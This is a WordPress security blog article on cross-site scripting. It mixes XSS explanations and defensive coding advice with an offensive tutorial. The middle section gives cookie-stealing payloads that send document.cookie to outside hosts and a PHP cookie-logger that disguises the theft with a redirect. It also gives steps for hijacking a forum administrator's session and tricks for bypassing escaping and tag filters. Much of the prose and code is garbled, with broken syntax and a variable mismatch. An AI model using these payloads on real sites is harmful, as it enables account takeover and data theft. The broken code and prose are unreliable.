Table of Contents [TOC]
Cross-site scripting (XSS) attacks are becoming more common and the number of vulnerabilities is increasing.
The most common way XSS attacks occur is when a malicious user injects JavaScript code into a website or app. This code can then execute on your browser, allowing the attacker to steal information from your computer or device. XSS attacks are often used as a gateway to other hacks, such as SQL injections, which is why they pose a serious threat to WordPress users. In fact, they’re one of the most common ways hackers gain access to websites and apps today. This makes it crucial for you to protect yourself from them if you want to stay safe online.
The XSS attacks, CSS (Cross Site Scripting) not to be confused with CSS style sheets (Cascading Style Sheet), is a type of website security vulnerbility, which is found in the poorly secured web applications.
A cross-site scripting attack is an exploit that allows an attacker to execute malicious code in a victim’s browser session without their knowledge or consent. The code is executed when the victim visits a crafted website containing malicious code and the browser renders it as if it were legitimate content from that site. The attacker can then use this technique to steal data from the user’s session, impersonate them, or otherwise perform unauthorized actions on their behalf.
The principle of WordPress XSS Attack is to inject malicious code in scripting language into a vulnerable website, for example by posting a message in a forum that redirects the user to a fake site ( phishing ) or stealing information (cookies ).
In most cases, XSS allows an attacker to access victims’ cookies and use them to take over the victim’s session on the server. This can lead to complete account takeover and information theft — including email address, IP address and even credit card data.
Because XSS attacks target users rather than servers or network infrastructure, they’re often overlooked by developers in favor of more complex exploits that require more technical expertise to pull off.
As we know, cookies help us to connect automatically. Therefore, with stolen cookies, we can login with other identities. And that’s one of the reasons why this attack is considered one of the most serious attacks.
An XSS attack is in progress on the client side. It can be run with different client-side programming languages. However, most often, this attack is done with Javascript and HTML.
The XSS cross site scripting attack allows to execute scripts on the client side. This means that you can only run JAVASCRIPT, HTML and other languages that will only run in the one who starts the script and not on the server directly, I let your imagination give you ideas.
The only way you can check if your WordPress website is vulnerable to XSS attacks is to use a XSS scanner like Wp Hacked Help, or get help from one of the wordpress security services
However, that doesn’t mean you cannot protect your website visitors from potential XSS vulnerabilities on your website. Installing a WordPress firewall keeps out the attacks and goes a long way into protecting your visitors.
Additionally, you must keep a tab on the installed plugins and themes. If any of them disclose XSS vulnerabilities, make sure to update them as soon as possible.
To clarify what the Cross Site Scripting can mean for a web administrator or a user, here is a list of the different types of XSS.
When we open a manipulated URL or fill in an adulterated form, the damaging script is sent to the web server, which is returned to the client without being checked. The malicious code is not stored on the server but exists temporarily when the client opens the web page. Dynamic web pages and mail applications are especially vulnerable to this type of attack.
Example: the attacker hosts the script in a prepared link that forwards, as a rule, by email. The harmful code is released when the user opens the link, and that is when a registration screen opens in your browser, which plays, for example, the page of your online bank. When the user enters his registration data, the script is responsible for forwarding them to the address that the attacker has previously established.
In this case, the malicious files are stored in the web server and are released each time a page is accessed from a browser. With this objective, web applications that save user data on their own server and transfer them without control or coding methods are chosen. Blogs and forums are especially vulnerable to these types of attacks.
Example: The interventions of users in a forum are stored in a database, usually without sufficient control. The attackers take advantage of this opportunity and add their harmful script in a seemingly normal post. A user who does not suspect anything receives the link to the post by email or goes to it by chance, and the moment he opens it activates the script.
Also called local XSS, in this case, the damage is caused by the scripts that are on the client side. When opening an infected page, the malicious code can take advantage of a hole in the security to be installed in a file of the web browser and be executed there without any previous verification. Contrary to what happens in the two previous variants, in this case, the web server is not involved, so this attack also affects the static pages that implement this type of programming language.
Example: Like the mirrored XSS, the DOM-based Cross Site Scripting requires the user to open the link. When this happens, a script on the web page selects the URL variable and executes the code it contains. This is how session cookies can be usurped, for example.
The diagram below illustrates how the example WordPress XSS vulnerability can be performed by an attacker:
For example, the HTML snippet:
<title>Example document: %(title)</title>
is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:
<title>Example document: XSS Doc</title>
A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
sitting on the other end, at the web server, you will be receiving hits where after a double space is the user’s cookie. If an administrator clicks the link, an attacker could steal the session ID and hijack the session.
Suppose there’s a URL on Google’s site, http://www.google.com/search?q=icons, which returns HTML documents containing the fragment
<p>Your search for ‘icons’ returned the following results:</p>
i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data is not validated, filtered or escaped.
Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an invisible<iframe>):
http://www.google.com/search?q=icons+%3Cscript%3Eevil_script()%3C/script%3E
When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above. The document loaded into the iframe will now contain the fragment <p>Your search for 'flowers <script>evil_script()</script>' returned the following results:</p> Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the context of a page loaded from www.google.com.
The vulnerability requires an account on the victim’s site with the Contributor role – or any account in a WordPress installation with bbPress plugin, as long as it has posting capabilities
The vulnerability occurs in the WordPress editor, responsible for the creating and editing all of the WordPress posts, pages, and topics (in bb Press).
A bypass in the native sanitising functions of the CMS makes it possible to achieve XSS.
Cross-Site Scripting (XSS) Issues XSS vulnerabilities in wordpress occur when an application includes attacker-controllable data. Using free XSS Scanner Online you can test for Cross-Site Scripting vulnerabilities in WordPress. These XSS testing scanners & tools to find website vulnerabilities
There is no easy answer to this question. To determine if a theme is vulnerable to XSS attacks, you should check all source files and check each place that the output is generated to make sure it does not do anything dangerous
(for example <form action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>”>).
The XSS is very widespread on the net, more precisely in forums, guestbooks and search engines,
The detection of the presence of an XSS attack can be done for example by entering a JavaScript script in a form field or in a URL:
<script> alert (Hack) </ script> If a dialogue box appears, it can be concluded that the Web application is vulnerable to XSS attacks.
To understand the principle, nothing beats an example.
Suppose the following code:
<center> <? php if (isset ($ _ GET ['search_word'])) { echo "You are looking for the following word:". $ _ GET ['search_word']; }?> Search: <form method = "get" action = "XSS.php"> <input type = "text" name = "search_word" /> <input type = "submit" name = "Submit" value = "Send "/> </ Form> </ center>
No variable was transmitted in GET so the page only displays “Search”. If now I type “Justin Bieber” and I validate it gives me “Looking for the following word: Justin Bieber”
So far everything is working fine, but what if I type <script> alert (‘Hack ‘) </ script> in search, the JavaScript code typed in search is executed. As it can be concluded that this application contains an XSS fault.
Well then, as we just saw, the XSS attacks are running on the client side. So to trap a target we have to make sure that the administrator of the site executes himself our script. And after, we have to recover his cookie. So to exploit the XSS attack, we need a PHP script that will retrieve the value of the vAriable $ cookie and write it to a .txt file. To do this, open a file under the name xss.php and put the following code:
<? php $ cookie = $ _GET ['a']; // we recognize a vEriable GET if ($ cookie) { $ fp = fopen ('cookies.txt', 'a'); // We open cookies.txt in edition fputs ($ fp, $ cook. 'Rn'); // we write the content of the cookie on a new line fclose ($ fp); // Close the cookie.txt file }?> <Script> location.replace ('http://www.google.com); // Redirect the target to google.ma so he does not suspect anything </ script>
Save the xss.php file, then put it on an FTP server that supports PHP well.
Here is our script is in place, it remains only has the tested!
As I said before we have to execute our url to our target. Imagine that by testing the techniques listed above on your forum, where you are a member among others, you detect the presence of an XSS attack and you want to use the php script that we created. But how to do it?
Just insert the following line in a small message:
<script> window.open ('http://mysite.com/xss.php?a='+document.cookie) </ script>
Seeing the code, we understand perfectly that there is? A = is the vAriable $ _GET [‘a’] of our code.
document.cookie represents the cookie of the client. You have just retrieved the cookie from the admin of the forum but what to do with it? At this point, many people think that the XSS attacks do not allow anything, but they are largely wrong. Once you have recovered a cookie you will be able to put it in your folder with your cookies and then after relaunching your web browser you will be able to access the admin session.
The Cross Site Scripting or XSS is a type of cyber flaw by which vulnerabilities are sought in a web application to introduce a harmful script and attack its own system, starting from a reliable context for the user. XSS are scripts or programs written in programming languages – such as JavaScript – that run in the web browser. In its most innocuous version, pop-ups are executed and, in the worst case, are used by attackers to access sensitive information or the user’s computer.
Whenever a web application transfers user data not validated to the browser, there will be a risk of an WordPress XSS attack , since this is the path by which the harmful files go to the client or browser. Once here, the infected applications manipulate scripts of the page such as registration forms and, while for the user everything indicates that it is a protected page, in reality, the data is being transferred to another site without any type of filter.
But not all XSS attacks are intended to steal private information or harm the affected customer. There are very extended scripts that manipulate the client to become an initiator of phishing tactics and malware attacks, or that change the content of a page, affecting it negatively. The perpetrators of the attack remain mostly anonymous.
The damages that a Cross Site Scripting attack can cause should not be underestimated, both for users and for web page administrators. Without knowing it, a user can risk their private data and act as an accomplice to the attackers. Web administrators must take into account that they are responsible for the data of their users and customers.
If a website is the victim of such attacks, malicious content and server crashes are the cause of the loss of user visits. In the long run, the search engines react with penalties and Internet users with mistrust, which ultimately leads to economic losses. For all this, administrators and users should use all means to avoid and prevent XSS in WordPress.
The easiest way for customers to avoid Cross Site Scripting is to disable JavaScript in the browser. If that is done, the DOM-based XSS, whose goal is the browser’s Java codes, has no effect, since no malicious function will be executed. There are browsers where it is possible to activate Add-ons that protect against XSS attacks.
For Mozilla Firefox, for example, there is the NoScript extension: its standard configuration sets the automatic blocking of active contents such as JavaScript, Java Applets, Adobe Flash or Microsoft Silverlight.
If you wish, you can temporarily lift the lock or configure a white list of pages if you are absolutely sure they are trusted. And one last piece of advice that you should always keep in mind regarding the risks of Cross Site Scripting is that you always remain sceptical of third-party data such as links, which you should always examine carefully before opening.
In order to prevent the applications of your website from becoming the object of XSS attacks, you should be wary of any incoming data, that is, before the server accepts them, they should be properly examined. The safest method would be, as in the NoScript Add-On for the browser, the creation of a whitelist or white list. While the capacity of your page allows the examination of the entries and only the acceptance of reliable contents, you will be guaranteed an excellent protection against Cross Site Scripting.
But also the data output should be protected. In this case, it is necessary to replace the problematic HTML meta characters by textual references, so that the meta characters are read as text, and the potentially infected files cannot be executed. For this, most programming languages such as Perl, JavaScript or PHP contain predefined functions for the substitution or masking of characters that you can use without problems.
The Web-Application-Firewalls are also an effective defence against simple XSS attacks.
The Cross Site Scripting supposes in many cases the prologue to attacks of more gravity and these can be avoided already in their beginnings by means of an ample protection of the incoming and outgoing flow of data in your web server.
WordPress has a host of great features to clean up unreliable user entries. If you’re a developer who is serious about preventing site-to-site scripting, you should read it. But before addressing them, it is good to know that PHP filter_var also contains many disinfection indicators. The behaviour of these is explained in detail in this page of the PHP manual. At the heart of most of these operations, it is simple to remove all values from what is submitted and which are not of the desired type. For example, if you make a call to filter_var ($ val, FILTER_SANITIZE_NUMBER_INT), all your letters and all characters that are not – will be deleted.
The disinfection features of WordPress are often easier to read than the main features of PHP. These filter_var function calls are the basis of some of the WordPress cleanup functions, but these functions are often easier to read. They also apply many common WordPress conventions.
Validation is about making sure a value matches your expectation. Typically, you enable the user to resubmit the request once validation fails.
For validation, you can use the PHP function filter_var; if it’s your style. This will often look like filter_var ($ _GET [’email’], FILTER_VALIDATE_EMAIL). These features are powerful and have the advantage of working outside of WordPress. You can see all the validation filters available on PHP.net. In any case, if the function gives you an error, you know that the data is invalid.
The specific functions of WordPress to prevent XSS attacks are mainly in the field of disinfection. But there are some that are particularly useful for validation. Maybe my favorite is is_email. It’s supposed to do the same thing as the filter_var call you used the last paragraph, but it’s much more concise if (is_email ($ _ GET [’email’]) is shorter than what we typed last times and reads just like English.
Validation is done as a user-side JavaScript effort. It’s great and some JavaScript libraries can be used in the past to contribute. The disadvantage is that there is no security guarantee in a client-side validation library. So doing a server-side validation is usually a good idea. And if you do not do validation, it is necessary to sanitize the server.
In reality, it does not always work like this, web developers are aware of this XSS attack, so they have developed methods to secure their web applications against this vulnerability, for example, I can quote magic_quote_gpc.
In this part, I will show you how to bypass some filters:
magic_quote_gpc: When magic_quotes are enabled, all ‘(single quotes), (quotation marks), (backslash) and NULL characters are escaped by a backslash.
For example, if I type
<script> alert ("Hack") </ script> It becomes:
<Script> alert ( 'hack') </ script> So how to pass this? Well after a good reflection on the problem, it comes to us that if the site escapes the apostrophes by a backslash then thanks to them we will be able to execute our code but how?
Simply we will use the method String.fromCharCode () . This method creates a string of characters from a series of ASCII code. For that I will use Hackbar, a Firefox plugin.
After that gives us
<Script> alert (String.fromCharCode (104, 97, 99, 107)) </ script> and miracle it works!
Obfuscation Technique: This filter, for example, blocks the following words:
Here if we put <script> alert (‘Hack’) </ script> the site will give us as alert () message because it will remove all <script> and </ script>.
So to bypass this filter we will just change <script> by <scrscriptipt> and alert by alealertrt
like this :
<scr <script> ipt> alealertrt () </ scr </ script> ipt>
Once the banners are removed it gives us:
<script> alert ("Hack") </ script> and it works again!
There is a Firefox plugin, XSS ME specialized in finding this type of vulnerability.
Always escape exit to prevent the data provided by the user to add HTML entities , like <, >etc. A quick help method to use here is:
function noHTML($input, $encoding='UTF-8') {return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, $encoding);}
Note that this prevents users from providing HTML codes.
Use a library such as HTML Purifier to escape entire blocks of HTML to prevent XSS attacks.
Many people are thinking that this attack is useless, well it’s wrong, believe me, the XSS attack is great, certainly you will not be able to cut its roots, thanks to this fault but it facilitates the spot with other attacks. You just have to know how to use it.
If you can avoid WordPress XSS vulnerabilities and secure the output of your application, you will avoid nearly half of the wordpress vulnerabilities that can be introduced into your application and safeguard your site against various kind of hacks such as WordPress malware redirect hack, WordPress Brute Force Attacks, DDoS Attacks, Japanese keyword hack, WordPress Pharma Hack and many more .
Several techniques avoid the XSS:
A WordPress security scanner that performs fully automated tests to identify security issues on your WordPress website. We test your website for over 100’s of vulnerabilities, including XSS vulnerability in WordPress site. Dont forget to read our In-depth guides on How to remove malware from WordPress & our Updated WordPress security checklist.